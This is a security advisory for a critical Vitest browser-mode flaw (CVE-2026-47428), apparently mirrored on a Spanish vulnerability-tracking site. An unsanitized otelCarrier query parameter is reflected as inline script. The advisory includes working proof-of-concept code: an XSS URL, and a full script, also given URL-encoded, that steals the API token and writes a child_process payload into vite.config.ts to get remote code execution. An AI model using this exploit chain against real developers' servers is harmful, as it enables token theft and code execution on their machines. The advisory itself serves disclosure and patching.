Crítica

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

  • Publicada: 01.06.2026
  • Actualizado: 11.10.2026 10:22

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

bash
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

js
otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

<details><summary>Example script and encoded URL</summary>
ts
(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)
</details>

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @vitest/browser >= 4.0.17, < 4.1.6, >= 5.0.0-beta.0, < 5.0.0-beta.3 4.1.6, 5.0.0-beta.3

Referencias

Puntuación CVSS 9.6/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-79
Plataforma
npm
Paquete
@vitest/browser
Publicada
01.06.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-2h32-95rg-cppp - CC BY 4.0

Historial de vulnerabilidades: @vitest/browser

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
4
Primera → última
02.2025 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 3
  • Media 1

Divulgaciones por año

  1. 2025: 1
  2. 2026: 3
  1. Crítica · 9.4 CVE-2026-73653 >= 4.0.0, < 4.1.10, < 3.2.7, >= 5.0.0-beta.1, < 5.0.0-beta.6 4.1.10, 3.2.7, 5.0.0-beta.6
  2. Crítica · 9.8 CVE-2026-53633 >= 5.0.0-beta.0, < 5.0.0-beta.4, >= 4.0.0, < 4.1.8, >= 3.0.0, < 3.2.5 5.0.0-beta.4, 4.1.8, 3.2.5
  3. Vitest browser mode serves unsanitized otelCarrier query parameter as inline script esta entrada
    Crítica · 9.6 CVE-2026-47428 >= 4.0.17, < 4.1.6, >= 5.0.0-beta.0, < 5.0.0-beta.3 4.1.6, 5.0.0-beta.3
  4. Media · 5.9 CVE-2025-24963 >= 2.0.4, < 2.1.9, >= 3.0.0, < 3.0.4 2.1.9, 3.0.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.